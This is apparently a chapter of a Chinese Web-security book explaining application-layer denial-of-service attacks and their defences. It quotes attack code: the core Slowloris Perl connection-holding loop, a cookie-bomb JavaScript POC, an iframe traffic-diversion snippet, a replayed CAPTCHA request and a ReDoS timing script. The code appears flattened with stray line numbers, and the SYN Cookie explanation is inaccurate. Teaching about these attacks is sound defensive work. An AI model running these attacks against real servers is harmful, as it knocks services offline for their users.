应用层拒绝服务攻击

在互联网中一谈起DDOS攻击,人们往往谈虎色变。DDOS攻击被认为是安全领域中最难解决的问题之一,迄今为止也没有一个完美的解决方案。在本章中将主要针对Web安全中的“应用层拒绝服务攻击”来展开讨论,并根据笔者这些年的一些经验总结,探讨此问题的解决之道。

DDOS简介

DDOS又称为分布式拒绝服务,全称是Dis-tributed Denial of Service。DDOS本是利用合理的请求造成资源过载,导致服务不可用。比如一个停车场总共有100个车位,当100个车位都停满车后,再有车想要停进来,就必须等已有的车先出去才行。如果已有的车一直不出去,那么停车场的入口就会排起长队,停车场的负荷过载,不能正常工作了,这种情况就是“拒绝服务”。

我们的系统就好比是停车场,系统中的资源就是车位。资源是有限的,而服务必须一直提供下去。如果资源都已经被占用了,那么服务也将过载,导致系统停止新的响应。

分布式拒绝服务攻击,将正常请求放大了若干倍,通过若干个网络节点同时发起攻击,以达成规模效应。这些网络节点往往是黑客们所控制的“肉鸡”,数量达到一定规模后,就形成了一个“僵尸网络”。大型的僵尸网络,甚至达到了数万、数十万台的规模。如此规模的僵尸网络发起的DDOS攻击,几乎是不可阻挡的。

常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击,其发现于1996年,但至今仍然保持着非常强大的生命力。SYN flood如此猖獗是因为它利用了TCP协议设计中的缺陷,而TCP/IP协议是整个互联网的基础,牵一发而动全身,如今想要修复这样的缺陷几乎成为不可能的事情。

DDOS攻击示意图

在正常情况下,TCP三次握手过程如下:

(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;

(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;

(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。

而SYN flood在攻击时,首先伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。

对抗SYN flood的主要措施有SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

在很多对抗DDOS的产品中,一般会综合使用各种算法,结合一些DDOS攻击的特征,对流量进行清洗。对抗DDOS的网络设备可以串联或者并联在网络出口处。

但DDOS仍然是业界的一个难题,当攻击流量超过了网络设备,甚至带宽的最大负荷时,网络仍将瘫痪。一般来说,大型网站之所以看起来比较能“抗”DDOS攻击,是因为大型网站的带宽比较充足,集群内服务器的数量也比较多。但一个集群的资源毕竟是有限的,在实际的攻击中,DDOS的流量甚至可以达到数G到几十G,遇到这种情况,只能与网络运营商合作,共同完成DDOS攻击的响应。

DDOS的攻击与防御是一个复杂的课题,而本书重点是Web安全,因此对网络层的DDOS攻防在此不做深入讨论,有兴趣的朋友可以自行查阅一些相关资料。

应用层DDOS

应用层DDOS,不同于网络层DDOS,由于发生在应用层,因此TCP三次握手已经完成,连接已经建立,所以发起攻击的IP地址也都是真实的。但应用层DDOS有时甚至比网络层DDOS攻击更为可怕,因为今天几乎所有的商业Anti-DDOS设备,只在对抗网络层DDOS时效果较好,而对应用层DDOS攻击却缺乏有效的对抗手段。

那么应用层DDOS到底是怎么一回事呢?这就要从“CC攻击”说起了。

CC攻击

“CC攻击”的前身是一个叫fatboy的攻击程序,当时黑客为了挑战绿盟的一款反DDOS设备开发了它。绿盟是中国著名的安全公司之一,它有一款叫“黑洞(Collapasar)”的反DDOS设备,能够有效地清洗SYN Flood等有害流量。而黑客则挑衅式地将fatboy所实现的攻击方式命名为:Chal-lenge Collapasar(简称CC),意指在黑洞的防御下,仍然能有效完成拒绝服务攻击。

CC攻击的原理非常简单,就是对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。在Web应用中,查询数据库、读/写硬盘文件等操作,相对都会消耗比较多的资源。在百度百科中有一个很典型的例子:应用层常见SQL代码范例如下(以PHP为例):$sql="select * from post where tagid='$tagid' order by postid desc limit $start ,30";当post表数据庞大,翻页频繁,$start数字急剧增加时,查询影响结果集=$start+30; 该查询效率呈现明显下降趋势,而多并发频繁调用,因查询无法立即完成,资源无法立即释放,会导致数据库请求连接过多,数据库阻塞,网站无法正常打开。

在互联网中充斥着各种搜索引擎、信息收集等系统的爬虫(spider),爬虫把小网站直接爬死的情况时有发生,这与应用层DDOS攻击的结果很像。由此看来,应用层DDOS攻击与正常业务的界线比较模糊。

应用层DDOS攻击还可以通过以下方式完成:在黑客入侵了一个流量很大的网站后,通过篡改页面,将巨大的用户流量分流到目标网站。

比如,在大流量网站siteA上插入一段代码:

1 2 3
<iframe src="http://target" height=0 width=0 ></iframe>

那么所有访问该页面的siteA用户,都将对此target发起一次HTTP GET请求,这可能直接导致target拒绝服务。

应用层DDOS攻击是针对服务器性能的一种攻击,那么许多优化服务器性能的方法,都或多或少地能缓解此种攻击。比如将使用频率高的数据放在memcache中,相对于查询数据库所消耗的资源来说,查询memcache所消耗的资源可以忽略不计。但很多性能优化的方案并非是为了对抗应用层DDOS攻击而设计的,因此攻击者想要找到一个资源消耗大的页面并不困难。比如当memcache查询没有命中时,服务器必然会查询数据库,从而增大服务器资源的消耗,攻击者只需要找到这样的页面即可。同时攻击者除了触发“读”数据操作外,还可以触发“写”数据操作,“写”数据的行为一般都会导致服务器操作数据库。

限制请求频率

最常见的针对应用层DDOS攻击的防御措施,是在应用中针对每个“客户端”做一个请求频率的限制。比如下面这段代码:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217
class RequestLimit: # add a click to the list statistic def addRequestClick(self, ip_addr, bcookie): blkip = memcache.get('RequestLimitList') # if memcache list does not exist, then create it if (blkip == None): blkip = [{'ip_addr': ip_addr, 'bcookie': bcookie, 'count': 1, 'base_time': datetime.datetime.now(), 'update_time': datetime.datetime.now(), 'status': 'ok'},] memcache.add('RequestLimitList', blkip) else: ip_exists = False for ips in blkip: # found ip if (ips['ip_addr'] == ip_addr): ip_exists = True # check if bcookie is the same if (not bcookie) or (ips.has_key('bcookie') and ips['bcookie'] == bcookie): ips['count'] += 1 ips['update_time'] = datetime.datetime.now() # if update time is 30 seconds later, then reset base time period = ips['update_time'] - ips['base_time'] if ( period.seconds > 30 ) and ( ips['status'] == 'ok' ): ips['base_time'] = ips['update_time'] ips['count'] = 1 break else: # ip is the same, but bcookie is different pass # ip not found if (ip_exists == False): blkip.append({'ip_addr': ip_addr, 'bcookie': bcookie, 'count': 1, 'base_time': datetime.datetime.now(), 'update_time': datetime.datetime.now(), 'status': 'ok'}) memcache.set('RequestLimitList', blkip) return def checkIPInBlacklist(self, ip_addr, bcookie): blkip = memcache.get('RequestLimitList') # flag to check if found a block ip found = False ## step 1: find the ip address in ip list ## step 2: check if request counts reach the limits ## step 3: check if time period is in the limit for ips in blkip: if (ips['ip_addr'] == ip_addr): # find the ip # check if the ip is bannd reqs_time = datetime.datetime.now() - ips['base_time'] if ( ips['status'] == 'banned' ): # if banned time is over, then free the ip if (reqs_time.seconds >= PLANETCONFIG['REQUESTLIMITFREETIME']) : # time to free the banned ip # reset the ip log ips['count'] = 1 ips['base_time'] = datetime.datetime.now() ips['update_time'] = datetime.datetime.now() ips['status'] = 'ok' memcache.set('RequestLimitList', blkip) else: found = True break if (ips['count'] >= PLANETCONFIG['REQUESTLIMITPERHALFMIN']): # check count limit #print reqs_time.seconds if ( reqs_time.seconds < 30): # check time limit found = True # reset the ip log ips['count'] = 1 ips['base_time'] = datetime.datetime.now() ips['update_time'] = datetime.datetime.now() ips['status'] = 'banned' memcache.set('RequestLimitList', blkip) break return found

在使用时:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
# request limit reqlimit = RequestLimit() # remember checkIPInBlacklist must invoke after addRequestClick reqlimit.addRequestClick(ip, bcookie) if (reqlimit.checkIPInBlacklist(ip, bcookie) == True): self.response.set_status(444, 'request too busy') self.renderTemplate('common/ requestlimit.html') return False

这段代码就是针对应用层DDOS攻击的一个简单防御。它的思路很简单,通过IP地址与Cookie 定位一个客户端,如果客户端的请求在一定时间内过于频繁,则对之后来自该客户端的所有请求都重定向到一个出错页面。

从架构上看,这段代码需要放在业务逻辑之前,才能起到保护后端应用的目的,可以看做是一个“基层”的安全模块。

道高一尺,魔高一丈

然而这种防御方法并不完美,因为它在客户端的判断依据上并不是永远可靠的。这个方案中有两个因素用以定位一个客户端:一个是IP地址,另一个是Cookie。但用户的IP地址可能会发生改变,而Cookie又可能会被清空,如果IP地址和Cookie同时都发生了变化,那么就无法再定位到同一个客户端了。

如何让IP地址发生变化呢?使用“代理服务器”是一个常见的做法。在实际的攻击中,大量使用代理服务器或傀儡机来隐藏攻击者的真实IP地址,已经成为一种成熟的攻击模式。攻击者使用这些方法可不断地变换IP地址,就可以绕过服务器对单个IP地址请求频率的限制了。

代理猎手是一个常用的搜索代理服务器的工具。

代理猎手使用界面

而AccessDiver则已经自动化地实现了这种变换IP地址的攻击,它可以批量导入代理服务器地址,然后通过代理服务器在线暴力破解用户名和密码。

AccessDiver使用界面

攻击者使用的这些混淆信息的手段,都给对抗应用层DDOS攻击带来了很大的困难。那么到底如何解决这个问题呢?应用层DDOS攻击并非一个无法解决的难题,一般来说,我们可以从以下几个方面着手。

首先,应用代码要做好性能优化。合理地使用memcache就是一个很好的优化方案,将数据库的压力尽可能转移到内存中。此外还需要及时地释放资源,比如及时关闭数据库连接,减少空连接等消耗。

其次,在网络架构上做好优化。善于利用负载均衡分流,避免用户流量集中在单台服务器上。同时可以充分利用好CDN和镜像站点的分流作用,缓解主站的压力。

最后,也是最重要的一点,实现一些对抗手段,比如限制每个IP地址的请求频率。

下面我们将更深入地探讨还有哪些方法可以对抗应用层DDOS攻击。

验证码的那些事儿

验证码是互联网中常用的技术之一,它的英文简称是CAPTCHA(Completely Automated Pub-lic Turing Test to Tell Computers and HumansApart,全自动区分计算机和人类的图灵测试)。在很多时候,如果可以忽略对用户体验的影响,那么引入验证码这一手段能够有效地阻止自动化的重放行为。

如下是一个用户提交评论的页面,嵌入验证码能够有效防止资源滥用,因为通常脚本无法自动识别出验证码。

用户评论前要输入验证码

但验证码也分三六九等,有的验证码容易识别,有的则较难识别。

各种各样的验证码

CAPTCHA发明的初衷,是为了识别人与机器。但验证码如果设计得过于复杂,那么人也很难辨识出来,所以验证码是一把双刃剑。

有验证码,就会有验证码破解技术。除了直接利用图像相关算法识别验证码外,还可以利用Web实现上可能存在的漏洞破解验证码。

因为验证码的验证过程,是比对用户提交的明文和服务器端Session里保存的验证码明文是否一致。所以曾经有验证码系统出现过这样的漏洞:因为验证码消耗掉后SessionID未更新,导致使用原有的SessionID可以一直重复提交同一个验证码。

 1  2  3  4  5  6  7  8  9 10 11
POST /vuln_script.php HTTP/1.0 Cookie: PHPSESSID=329847239847238947; Content-Length: 49 Connection: close; name=bob&email=bob@fish.com&captcha=the_plain text

在SessionID未失效前,可以一直重复发送这个包,而不必担心验证码的问题。

形成这个问题的伪代码类似于:

1 2 3 4 5 6 7
if form_submitted and captcha_stored!="" and captcha_sent=captcha_stored then process_form(); endif:

如果要修补也很简单:

1 2 3 4 5 6 7 8 9
if form_submitted and captcha_stored!="" and captcha_sent=captcha_stored then captcha_stored=""; process_form(); endif:

还有的验证码实现方式,是提前将所有的验证码图片生成好,以哈希过的字符串作为验证码图片的文件名。在使用验证码时,则直接从图片服务器返回已经生成好的验证码,这种设计原本的想法是为了提高性能。

但这种一一对应的验证码文件名会存在一个缺陷:攻击者可以事先采用枚举的方式,遍历所有的验证码图片,并建立验证码到明文之间的一一对应关系,从而形成一张“彩虹表”,这也会导致验证码形同虚设。修补的方式是验证码的文件名需要随机化,满足“不可预测性”原则。

随着技术的发展,直接通过算法破解验证码的方法也变得越来越成熟。通过一些图像处理技术,可以将验证码逐步变化成可识别的图片。验证码的机器识别过程

对此有兴趣的朋友,可以查阅moonblue333所写的“如何识别高级的验证码”。

防御应用层DDOS

验证码不是万能的,很多时候为了给用户一个最好的体验而不能使用验证码。且验证码不宜使用过于频繁,所以我们还需要有更好的方案。

验证码的核心思想是识别人与机器,那么顺着这个思路,在人机识别方面,我们是否还能再做一些事情呢?答案是肯定的。

在一般情况下,服务器端应用可以通过判断HTTP头中的User-Agent字段来识别客户端。但从安全性来看这种方法并不可靠,因为HTTP头中的User-Agent是可以被客户端篡改的,所以不能信任。

一种比较可靠的方法是让客户端解析一段JavaScript,并给出正确的运行结果。因为大部分的自动化脚本都是直接构造HTTP包完成的,并非在一个浏览器环境中发起的请求。因此一段需要计算的JavaScript,可以判断出客户端到底是不是浏览器。类似的,发送一个flash让客户端解析,也可以起到同样的作用。但需要注意的是,这种方法并不是万能的,有的自动化脚本是内嵌在浏览器中的“内挂”,就无法检测出来了。

除了人机识别外,还可以在Web Server这一层做些防御,其好处是请求尚未到达后端的应用程序里,因此可以起到一个保护的作用。

在Apache的配置文件中,有一些参数可以缓解DDOS攻击。比如调小Timeout、KeepAlive-Timeout值,增加MaxClients值。但需要注意的是,这些参数的调整可能会影响到正常应用,因此需要视实际情况而定。在Apache的官方文档中对此给出了一些指导——

Apache提供的模块接口为我们扩展Apache、设计防御措施提供了可能。目前已经有一些开源的Module全部或部分实现了针对应用层DDOS攻击的保护。“mod_qos”是Apache的一个Module,它可以帮助缓解应用层DDOS攻击。比如mod_qos的下面这些配置就非常有价值。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
# minimum request rate (bytes/sec at request reading): QS_SrvRequestRate 120 # limits the connections for this virtual host: QS_SrvMaxConn 800 # allows keep-alive support till the server reaches 600 connections: QS_SrvMaxConnClose 600 # allows max 50 connections from a single ip address: QS_SrvMaxConnPerIP 50 # disables connection restrictions for certain clients: QS_SrvMaxConnExcludeIP 172.18.3.32 QS_SrvMaxConnExcludeIP 192.168.10.

mod_qos功能强大,它还有更多的配置,有兴趣的朋友可以通过官方网站获得更多的信息。

除了mod_qos外,还有专用于对抗应用层DDOS的mod_evasive也有类似的效果。

mod_qos从思路上仍然是限制单个IP地址的访问频率,因此在面对单个IP地址或者IP地址较少的情况下,比较有用。但是前文曾经提到,如果攻击者使用了代理服务器、傀儡机进行攻击,该如何有效地保护网站呢?

Yahoo为我们提供了一个解决思路。因为发起应用层DDOS攻击的IP地址都是真实的,所以在实际情况中,攻击者的IP地址其实也不可能无限制增长。假设攻击者有1000个IP地址发起攻击,如果请求了10000次,则平均每个IP地址请求同一页面达到10次,攻击如果持续下去,单个IP地址的请求也将变多,但无论如何变,都是在这1000个IP地址的范围内做轮询。

为此Yahoo实现了一套算法,根据IP地址和Cookie等信息,可以计算客户端的请求频率并进行拦截。Yahoo设计的这套系统也是为Web Server开发的一个模块,但在整体架构上会有一台master服务器集中计算所有IP地址的请求频率,并同步策略到每台WebServer上。

Yahoo为此申请了一个专利(Detecting sys-tem abuse),因此我们可以查阅此专利的公开信息,以了解更多的详细信息。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
United States Patent 7,533,414 Reed , et al. May 12, 2009 Detecting system abuse Abstract A system continually monitors service requests and detects service abuses. First, a screening list is created to identify potential abuse events. A screening list includes event IDs and associated count values. A pointer cyclically selects entries in the table, advancing as events are received. An incoming event ID is compared with the event IDs in the table. If the incoming event ID matches an event ID in the screening list, the associated count is incremented. Otherwise, the count of a selected table entry is decremented. If the count value of the selected entry falls to zero, it is replaced with the incoming event. Event IDs can be based on properties of service users, such as user identifications, or of service request contents, such as a search term or message content. The screening list is analyzed to determine whether actual abuse is occurring.

Yahoo设计的这套防御体系,经过实践检验,可以有效对抗应用层DDOS攻击和一些类似的资源滥用攻击。但Yahoo并未将其开源,因此对于一些研发能力较强的互联网公司来说,可以根据专利中的描述,实现一套类似的系统。

资源耗尽攻击

除了CC攻击外,攻击者还可能利用一些WebServer的漏洞或设计缺陷,直接造成拒绝服务。下面看几个典型的例子,并由此分析此类(分布式)拒绝服务攻击的本质。

Slowloris攻击

Slowloris是在2009年由著名的Web安全专家RSnake提出的一种攻击方法,其原理是以极低的速度往服务器发送HTTP请求。由于WebServer对于并发的连接数都有一定的上限,因此若是恶意地占用住这些连接不释放,那么Web Server的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。

要保持住这个连接,RSnake构造了一个畸形的HTTP请求,准确地说,是一个不完整的HTTP请求。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15
GET / HTTP/1.1\r\n Host: host\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n Content-Length: 42\r\n

在正常的HTTP包头中,是以两个CLRF表示HTTP Headers部分结束的。

1
Content-Length: 42\r\n\r\n

由于Web Server只收到了一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。

1
X-a: b\r\n

当构造多个连接后,服务器的连接数很快就会达到上限。在Slowloris的专题网站上可以下载到POC演示程序,其核心代码如下:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313
sub doconnections { my ( $num, $usemultithreading ) = @_; my ( @first, @sock, @working ); my $failedconnections = 0; $working[$_] = 0 foreach ( 1 .. $num ); #initializing $first[$_] = 0 foreach ( 1 .. $num ); #initializing while (1) { $failedconnections = 0; print "\t\tBuilding sockets.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 0 ) { if ($ssl) { if ( $sock[$z] = new IO::Socket::SSL( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; } else { $working[$z] = 0; } } else { if ( $sock[$z] = new IO::Socket::INET( PeerAddr => "$host", PeerPort => "$port", Timeout => "$tcpto", Proto => "tcp", ) ) { $working[$z] = 1; $packetcount = $packetcount + 3; #SYN, SYN+ACK, ACK } else { $working[$z] = 0; } } if ( $working[$z] == 1 ) { if ($cache) { $rand = "?" . int( rand(99999999999999) ); } else { $rand = ""; } my $primarypayload = "$method /$rand HTTP/1.1\r\n" . "Host: $sendhost\r\n" . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" . "Content-Length: 42\r \n"; my $handle = $sock[$z]; if ($handle) { print $handle "$primarypayload"; if ( $SIG{__WARN__} ) { $working[$z] = 0; close $handle; $failed++; $failedconnections++; } else { $packetcount++; $working[$z] = 1; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } else { $working[$z] = 0; $failed++; $failedconnections++; } } } print "\t\tSending data.\n"; foreach my $z ( 1 .. $num ) { if ( $working[$z] == 1 ) { if ( $sock[$z] ) { my $handle = $sock[$z]; if ( print $handle "X-a: b\r\n" ) { $working[$z] = 1; $packetcount++; } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } else { $working[$z] = 0; #debugging info $failed++; $failedconnections++; } } } print "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n"; sleep($timeout); } } sub domultithreading { my ($num) = @_; my @thrs; my $i = 0; my $connectionsperthread = 50; while ( $i < $num ) { $thrs[$i] = threads->create( \&doconnections, $connectionsperthread, 1 ); $i += $connectionsperthread; } my @threadslist = threads->list(); while ( $#threadslist > 0 ) { $failed = 0; } }

这种攻击几乎针对所有的Web Server都是有效的。从这种方式可以看出:

此类拒绝服务攻击的本质,实际上是对有限资源的无限制滥用。

在Slowloris案例中,“有限”的资源是WebServer的连接数。这是一个有上限的值,比如在Apache中这个值由MaxClients定义。如果恶意客户端可以无限制地将连接数占满,就完成了对有限资源的恶意消耗,导致拒绝服务。

在Slowloris发布之前,也曾经有人意识到这个问题,但是Apache官方否认Slowloris的攻击方式是一个漏洞,他们认为这是Web Server的一种特性,通过调整参数能够缓解此类问题,给出的回应是参考文档中调整配置参数的部分。

Web Server的消极态度使得这种攻击今天仍然很有效。

HTTP POST DOS

在2010年的OWASP大会上,Wong OnnChee和Tom Brennan演示了一种类似于Slowloris效果的攻击方法,作者称之为HTTPPOST D.O.S.。

其原理是在发送HTTP POST包时,指定一个非常大的Content-Length值,然后以很低的速度发包,比如10~100s发一个字节,保持住这个连接不断开。这样当客户端连接数多了以后,占用住了Web Server的所有可用连接,从而导致DOS。POC如下图所示:

成功实施攻击后会留下如下错误日志(Apache):

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
$tail -f /var/log/apache2/error.log [Mon Nov 22 15:23:17 2010] [notice] Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g configured — resuming normal operations [Mon Nov 22 15:24:46 2010] [error] server reached MaxClients setting, consider raising the MaxClients setting

由此可知,这种攻击的本质也是针对Apache的MaxClients限制的。

要解决此类问题,可以使用Web应用防火墙,或者一个定制的Web Server安全模块。

由以上两个例子我们很自然地联想到,凡是资源有“限制”的地方,都可能发生资源滥用,从而导致拒绝服务,也就是一种“资源耗尽攻击”。

出于可用性和物理条件的限制,内存、进程数、存储空间等资源都不可能无限制地增长,因此如果未对不可信任的资源使用者进行配额的限制,就有可能造成拒绝服务。内存泄漏是程序员经常需要解决的一种bug,而在安全领域中,内存泄漏则被认为是一种能够造成拒绝服务攻击的方式。

Server Limit DOS

Cookie也能造成一种拒绝服务,笔者称之为Server Limit DOS,并曾在笔者的博客文章中描述过这种攻击。

Web Server对HTTP包头都有长度限制,以Apache举例,默认是8192字节。也就是说,Apache所能接受的最大HTTP包头大小为8192字节(这里指的是Request Header,如果是Re-quest Body,则默认的大小限制是2GB)。如果客户端发送的HTTP包头超过这个大小,服务器就会返回一个4xx错误,提示信息为:

1 2 3 4 5 6 7
Your browser sent a request that this server could not understand. Size of a request header field exceeds server limit.

假如攻击者通过XSS攻击,恶意地往客户端写入了一个超长的Cookie,则该客户端在清空Cookie之前,将无法再访问该Cookie所在域的任何页面。这是因为Cookie也是放在HTTP包头里发送的,而Web Server默认会认为这是一个超长的非正常请求,从而导致“客户端”的拒绝服务。

比如以下POC代码:

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
<script language="javascript"> alert(document.cookie); var metastr = "AAAAAAAAAA"; // 10 A var str = ""; while (str.length < 4000){ str += metastr; } alert(str.length); document.cookie = "evil3=" + "\<script \>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; document.cookie = "evil1=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; document.cookie = "evil2=" + str +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; alert(document.cookie); </script>

将向客户端写入一个超长的Cookie。

要解决此问题,需要调整Apache配置参数LimitRequestFieldSize,这个参数设置为0时,对HTTP包头的大小没有限制。

通过以上几种攻击的介绍,我们了解到“拒绝服务攻击”的本质实际上就是一种“资源耗尽攻击”,因此在设计系统时,需要考虑到各种可能出现的场景,避免出现“有限资源”被恶意滥用的情况,这对安全设计提出了更高的要求。

一个正则引发的血案:ReDOS

正则表达式也能造成拒绝服务?是的,当正则表达式写得不好时,就有可能被恶意输入利用,消耗大量资源,从而造成DOS。这种攻击被称为Re-DOS。

与前面提到的资源耗尽攻击略有不同的是,ReDOS是一种代码实现上的缺陷。我们知道正则表达式是基于NFA(Nondeterministic Finite Au-tomaton)的,它是一个状态机,每个状态和输入符号都可能有许多不同的下一个状态。正则解析引擎将遍历所有可能的路径直到最后。由于每个状态都有若干个“下一个状态”,因此决策算法将逐个尝试每个“下一个状态”,直到找到一个匹配的。

比如这个正则表达式:

1
^(a+)+$

当输入只有4个“a”时:

1
aaaaX

其执行过程如下:

它只有16条可能的路径,引擎很快能遍历完。

但是当输入以下字符串时:

1
aaaaaaaaaaaaaaaaX

就变成了65536条可能的路径;此后每增加一个“a”,路径的数量都会翻倍。

这极大地增加了正则引擎解析数据时的消耗。当用户恶意构造输入时,这些有缺陷的正则表达式就会消耗大量的系统资源(比如CPU和内存),从而导致整台服务器的性能下降,表现的结果是系统速度很慢,有的进程或服务失去响应,与拒绝服务的后果是一样的。

就上面这个正则表达式来说,我们可以进行一项测试,测试代码如下:

  1   2   3   4   5   6   7   8   9  10  11  12  13  14  15  16  17  18  19  20  21  22  23  24  25  26  27  28  29  30  31  32  33  34  35  36  37  38  39  40  41  42  43  44  45  46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  93  94  95  96  97  98  99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215
# # retime.py - Python test program for regular expression DoS attacks # # This test program measures the execution time of the Python regular expression # matcher to determine if it has problems with regular expression denial-of-service (ReDoS) # attacks. A ReDoS attack becomes possible in applications which use poorly written regular # expressions to validate user inputs. An improperly written regular expression has an # exponential run time when given a non- matching string. Character strings as short as # 30 characters can cause problems. # # The following WikiPedia article provides more information about the ReDoS problem: # # http://en.wikipedia.org/wiki/ Regular_expression_Denial_of_Service_-_ReDoS # # This program has been tested with both CPython and IronPython. Versions of the # test program for C#, Java, JavaScript, Perl, and PHP are also available at: # # http://www.computerbytesman.com/redos # # Author: Richard M. Smith # # Please send comments, questions, additions, etc. to info@computerbytesman.com # # # Test parameters # # regex: String containing the regular expression to be tested # maketeststring: A function which generates a test string from a length parameter # maxiter: Maximum number of test iterations to be performed (typical value is 50) # maxtime: Maximum execution time in seconds for one iteration before the test program # is terminated (typical value is 2 seconds) # regex = r"^(a+)+$" maketeststring = lambda n: "a" * n + "!" maxiter = 50 maxtime = 2 # # Python modules used by this program # import re import time import sys # # Main function # def main(): print print "Python Regular Expression DoS demo" print "from http://www.computerbytesman.com/redos" print print "Platform: %s %s" % (sys.platform, sys.version) print "Regular expression %s" % (regex) print "Typical test string: %s" % (maketeststring(10)) print "Max. iterations: %d" % (maxiter) print "Max. match time: %d sec%s" % (maxtime, "s" if maxtime != 1 else "") print cregex = re.compile(regex) for i in xrange(1, maxiter): time = runtest(cregex, i) if time > maxtime: break return # # Run one test # def runtest(regex, n): teststr = maketeststring(n) starttime = time.clock() match = regex.match(teststr) elapsetime = int((time.clock() - starttime) * 1000) count = 0 if match != None: count = match.end() - match.start() print "For n=%d, match time=%d msec%s, match 